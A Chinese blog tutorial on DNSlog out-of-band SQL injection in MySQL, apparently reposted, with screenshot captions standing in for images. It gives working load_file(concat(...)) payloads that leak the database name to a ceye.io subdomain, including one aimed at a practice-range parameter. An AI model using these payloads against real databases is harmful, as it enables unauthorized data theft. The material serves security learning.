mysql数据库中的骚姿势-dnslog注入原理

前言

我以为我写过dns注入了,结果我心血来潮看看博客,发现我居然还没有写
那么我就写一下

0x01.Dns注入原理

什么是dns?
例子:我们去访问 www.baidu.com,这时候dns会吧 www.baidu.com 这个域名转换为 IP地址
Dns其实就是负责把域名转换为IP地址
如果还不懂的话点击 点击这里查看

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的
注入结果

dnslog注入原理
通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志

0x02.什么情况下使用dnslog注入?

一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,这时候就可以尝试使用dnslog注入

0x03.dnslog注入该怎么注入

这里就要借用一个平台:http://ceye.io
mysql数据库中的骚姿势-dnslog注入原理_第1张图片

mysql数据库中的骚姿势-dnslog注入原理_第2张图片
然后我们这边访问一下 111.pxxx.ceye.io

mysql数据库中的骚姿势-dnslog注入原理_第3张图片
这边就已经记录了我们访问的请求

然后我们这边还用到 load_file()函数
就是读取文件,然后返回的内容为字符串

0x04.dnslog注入方法讲解

我们先看下查询文件是怎么查的
mysql数据库中的骚姿势-dnslog注入原理_第4张图片
dnslog注入
只不过乱码了,我也懒得去设置

这时候我们去构造一个我们注入的payload

select load_file(concat())

我们先大致的这样构造出来基本注入语句
concat的作用就是将字符串连接在一起
mysql数据库中的骚姿势-dnslog注入原理_第5张图片

select load_file(concat('\\\\',(select database()),'pdxxx.ceye.io\\abc'))

然后我们把 concat() 里面的内容拿出来看

concat('\\\\',(select database()),'.pdxxx.ceye.io\\abc')

\\\\其实是转义的意思,使用后就会变成 \\
然后逗号隔开,(select database()) 就是一个子查询
然后后面那里就是 0x03 演示的
\\也是转义,这样就会变成一个 \

由于concat() 函数的原因,最终变成

select load_file(\\库名.pdxxx.ceye.io\asb)

你可能会问,为什么我是写汉语《库名》?

因为这边是 子查询,查询的就是库名,然后把库名拼接进去 就像 第三步那样,只不过 111 是我乱写的,但是ceye平台依然去记录这个请求

你也可能会问,为什么写 \asb,asb有什么特殊含义吗? 没有的,没有什么特殊含义,只是随便乱写的

数据库去访问root.pdxxx.ceye.io的服务器下的共享文件夹asb

然后ceye.io的子域名的解析都是在某台服务器,然后他记录下来了有人请求访问了root.pdxxx.ceye.io,然后在ceye这个平台上面显示出来了

这就差不多解释清楚了,这时候我们再构建一个注入语句

select load_file(concat('\\\\',(select database()),'.pdXXwo.ceye.io\\abc'))

我们先看一下是怎么查出库名的
mysql数据库中的骚姿势-dnslog注入原理_第6张图片
mysql数据库中的骚姿势-dnslog注入原理_第7张图片
然后看下,发现成功的查询出了库名,数据库也是存在这个库的,这时候我们再去靶场玩一玩

0x05.靶场演示

and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#

通过上面的构造,我们简单修改一下既可注入

mysql数据库中的骚姿势-dnslog注入原理_第8张图片
就得到了库名,接下来和前面的 union注入一样

你可能会问这一次只跑出一个数据,万一很多张表呢?
然后其实你可以用 limit来的

文末

写完感觉有点累,我中午午睡完后感觉头有点疼,实在受不了,晕乎

你可能感兴趣的:(web安全)